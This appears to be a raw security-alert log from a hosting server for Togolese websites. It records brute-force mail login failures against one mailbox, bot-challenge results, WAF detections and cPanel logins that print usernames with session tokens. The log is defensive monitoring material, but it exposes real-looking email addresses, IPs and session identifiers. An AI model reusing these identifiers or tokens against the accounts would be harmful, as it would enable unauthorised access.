212.102.39.87 - - [16/Jun/2026:14:48:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052711&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621326 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.202.180
country_id: 798544
domain: yoto2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:46.203.202.180||TA:46.203.202.180||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.54.152.251
country_id: 2264397
description:
77.54.152.251 - - [16/Jun/2026:14:49:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066076&pdata=https%253A%252F%252Fmacite.tg%252F2026%252Fpage%252F84%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621368 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/page/84/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.5329.1060 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.54.152.251


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.156.249
country_id: 1835841
description:
2026-06-16 14:50:45 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.156.249]:37567: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.185
country_id: 2750405
description:
2026-06-16 14:50:30 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.185]:42937: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.154.32
country_id: 6252001
description:
2026-06-16 14:51:21 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.154.32]:56487: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.164.196
country_id: 2661886
description:
2026-06-16 14:51:57 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.164.196]:64495: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.26
country_id: 2750405
description:
2026-06-16 14:52:08 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.158.26]:57437: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.185
country_id: 2750405
description:
2026-06-16 14:51:43 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.185]:48037: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.217
country_id: 2750405
description:
2026-06-16 14:51:33 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.217]:20850: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 14:52:20 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.183]:64918: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 119.157.76.162
country_id: 1168579
description:
[2026-06-16 14:53:10 +0000] info [cpaneld] 119.157.76.162 NEW libertepansel:ZpdrlC6KfDbzMkQj address=119.157.76.162,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.40.23.192
country_id: 2635167
description:
2026-06-16 14:53:20 dovecot_plain authenticator failed for H=(mail.inger.tg) [82.40.23.192]:45496: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 14:52:27 dovecot_login authenticator failed for H=(mail.inger.tg) [104.28.163.183]:64918: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.9
country_id: 2750405
description:
2026-06-16 14:52:57 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.166.9]:16121: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.62.50.134
country_id: 2077456
description:
103.62.50.134 - - [16/Jun/2026:14:52:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052711&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621326 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.62.50.134


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.25
country_id: 2750405
description:
2026-06-16 14:52:46 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.158.25]:32886: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.184
country_id: 1880251
description:
47.128.121.184 - - [16/Jun/2026:14:52:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462053&pdata=https%253A%252F%252Ftogomedia24.tg%252F2020%252F02%252F26%252Fpresidentielle-coditogo-mobilise-la-diaspora-contre-le-hold-up-electoral-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621563 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2020/02/26/presidentielle-coditogo-mobilise-la-diaspora-contre-le-hold-up-electoral-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.184


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.244
country_id: 2750405
description:
2026-06-16 14:52:31 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.244]:38425: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.87.93.235
country_id: 2017370
description:
2026-06-16 14:54:11 dovecot_plain authenticator failed for H=(u953dt1xcqgix8v9u8d9ogfl) [88.87.93.235]:52560: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.40.23.192
country_id: 2635167
description:
2026-06-16 14:53:27 dovecot_login authenticator failed for H=(mail.inger.tg) [82.40.23.192]:45496: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.87.93.235
country_id: 2017370
description:
Jun 16 14:54:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.87.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.245
country_id: 2750405
description:
2026-06-16 14:53:59 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.245]:21768: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.232
country_id: 1880251
description:
2026-06-16 14:53:36 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.232]:40797: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.217
country_id: 2750405
description:
2026-06-16 14:53:48 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.217]:13950: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:54:28 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:12032: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.9
country_id: 2750405
description:
2026-06-16 14:55:17 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.166.9]:36185: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.182
country_id: 2750405
description:
2026-06-16 14:54:55 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.182]:54223: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.219.153.121
country_id: 2328926
description:
2026-06-16 14:54:34 dovecot_plain authenticator failed for H=([192.168.171.1]) [102.219.153.121]:45797: 535 Incorrect authentication data (set_id=rxs0ibju7p)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.29
country_id: 2750405
description:
2026-06-16 14:55:06 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.158.29]:11680: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.219.153.120
country_id: 2328926
description:
2026-06-16 14:54:24 dovecot_plain authenticator failed for H=([192.168.171.1]) [102.219.153.120]:2959: 535 Incorrect authentication data (set_id=rxs0ibju7p)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.154.1
country_id: 6252001
description:
2026-06-16 14:54:43 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.154.1]:29446: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [16/Jun/2026:14:55:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12805067&pdata=https%253A%252F%252Fcentif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621748 HTTP/2.0" 302 0 centif.tg "https://centif.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.238
country_id: 2750405
description:
2026-06-16 14:55:54 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.238]:51639: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.32.123
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.31-1-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.31-1-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.31-1-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.31-1-1536x1024.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-21-at-08.37.31-1.webp 1600w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.9
country_id: 2750405
description:
2026-06-16 14:55:23 dovecot_login authenticator failed for H=(mail.inger.tg) [104.28.166.9]:36185: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [16/Jun/2026:14:56:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6538854&pdata=https%253A%252F%252Fcentif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621761 HTTP/2.0" 302 0 centif.tg "https://centif.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 14:56:21 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.183]:41203: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 14:56:28 dovecot_login authenticator failed for H=(mail.inger.tg) [104.28.163.183]:41203: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.219
country_id: 2750405
description:
2026-06-16 14:56:42 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.159.219]:58861: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.182
country_id: 2750405
description:
2026-06-16 14:56:32 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.182]:30476: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.184.49.117
country_id: 1733045
description:
202.184.49.117 - - [16/Jun/2026:14:57:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645193&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14532&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621832 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14532" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6787.1071 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.184.49.117


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.59.63
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7a7a73 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.53
country_id: 3175395
description:
2026-06-16 14:57:36 dovecot_plain authenticator failed for H=vm1393.akenai.wtf (mail.inger.tg) [31.76.113.53]:38680: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.27.43.162
country_id: 2921044
description:
2026-06-16 14:57:47 dovecot_plain authenticator failed for H=(mail.inger.tg) [2.27.43.162]:59872: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-16 14:57:52 +0000] info [cpaneld] 80.248.64.198 - himcuijv "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.10
country_id: 2750405
description:
2026-06-16 14:57:23 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.166.10]:21393: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.198
country_id: 2750405
description:
2026-06-16 14:57:57 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.198]:17722: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-16 14:58:16 +0000] info [cpaneld] 80.248.64.198 NEW nadngfzn:Cz2IEr8C0T0BqTor address=80.248.64.198,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.252.238.130
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7b8ba0 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:58:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:6016: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:14:58:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.175
country_id: 2750405
description:
2026-06-16 14:58:46 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.158.175]:40449: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.237
country_id: 2750405
description:
2026-06-16 14:59:17 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.237]:29094: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.196
country_id: 2750405
description:
2026-06-16 14:58:56 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.196]:10147: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.165.252
country_id: 2750405
description:
2026-06-16 14:59:06 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.165.252]:32798: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 16 14:59:16 ns5 pure-ftpd[1069982]: (?@47.84.199.24) [WARNING] Authentication failed for user [esso]


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:14:58:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.62.50.134
country_id: 2077456
description:
103.62.50.134 - - [16/Jun/2026:14:59:00 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052711&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621326" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.62.50.134


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.222
country_id: 6252001
description:
2026-06-16 14:58:23 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.163.222]:38510: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.226
country_id: 2750405
description:
2026-06-16 14:58:34 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.155.226]:51976: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.62.50.134
country_id: 2077456
description:
103.62.50.134 - - [16/Jun/2026:14:59:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052711&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781621326 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.62.50.134


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 180.194.200.252
country_id: 1694008
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-le-choix-davoir-des-donnees-fiables-pour-un-systeme-de-sante-adequat/||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.51
country_id: 1819730
description:
2026-06-16 14:59:41 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.166.51]:26349: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.162.75
country_id: 1861060
description:
2026-06-16 14:59:56 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.162.75]:13527: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.237
country_id: 2750405
description:
2026-06-16 14:59:23 dovecot_login authenticator failed for H=(mail.inger.tg) [104.28.155.237]:29094: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.220
country_id: 2750405
description:
2026-06-16 14:59:28 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.159.220]:10018: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 14:59:38 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:16896: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.186.113.45
country_id: 1168579
description:
2026-06-16 15:00:00 H=([182.186.113.45]) [182.186.113.45]:55590 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.207.181.198
country_id: 2363686
description:
[2026-06-16 14:59:36 +0000] info [cpaneld] 41.207.181.198 NEW nadngfzn:stNlzYjArBs2ExYs address=41.207.181.198,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:00:48 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1664: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.178
country_id: 6252001
description:
2026-06-16 15:00:55 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.178]:22112: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.185
country_id: 2750405
description:
2026-06-16 15:01:07 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.185]:46285: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.38.168
country_id: 6252001
description:
2026-06-16 15:00:31 dovecot_plain authenticator failed for H=(mail.inger.tg) [156.146.38.168]:37444: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-16 15:01:18 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.200]:30523: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 15:01:29 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.183]:35129: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.220
country_id: 2750405
description:
2026-06-16 15:01:41 dovecot_plain authenticator failed for H=(inger.tg) [104.28.159.220]:28020: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:01:48 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20353: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.10
country_id: 2750405
description:
2026-06-16 15:01:57 dovecot_plain authenticator failed for H=(inger.tg) [104.28.166.10]:62469: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [16/Jun/2026:15:02:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593223&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fokpabac%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781622122 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/okpabac/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-16 15:01:24 dovecot_login authenticator failed for H=(inger.tg) [104.28.163.200]:30523: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.184
country_id: 2750405
description:
2026-06-16 15:02:08 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.184]:26571: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.240
country_id: 2750405
description:
2026-06-16 15:02:19 dovecot_plain authenticator failed for H=(inger.tg) [104.28.155.240]:12947: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.188
country_id: 2750405
description:
2026-06-16 15:02:42 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.188]:36821: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:02:50 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20354: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.18
country_id: 2921044
description:
185.220.101.18 - - [16/Jun/2026:15:02:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855023&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781622177 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.18


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 66.9.178.64
country_id: 878675
domain: djama.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60669.djama.tg||ServerName:djama.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ff9fdbdbdc25c3a339fa64ac46dc18297a8d680||Title:0xd5487551||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
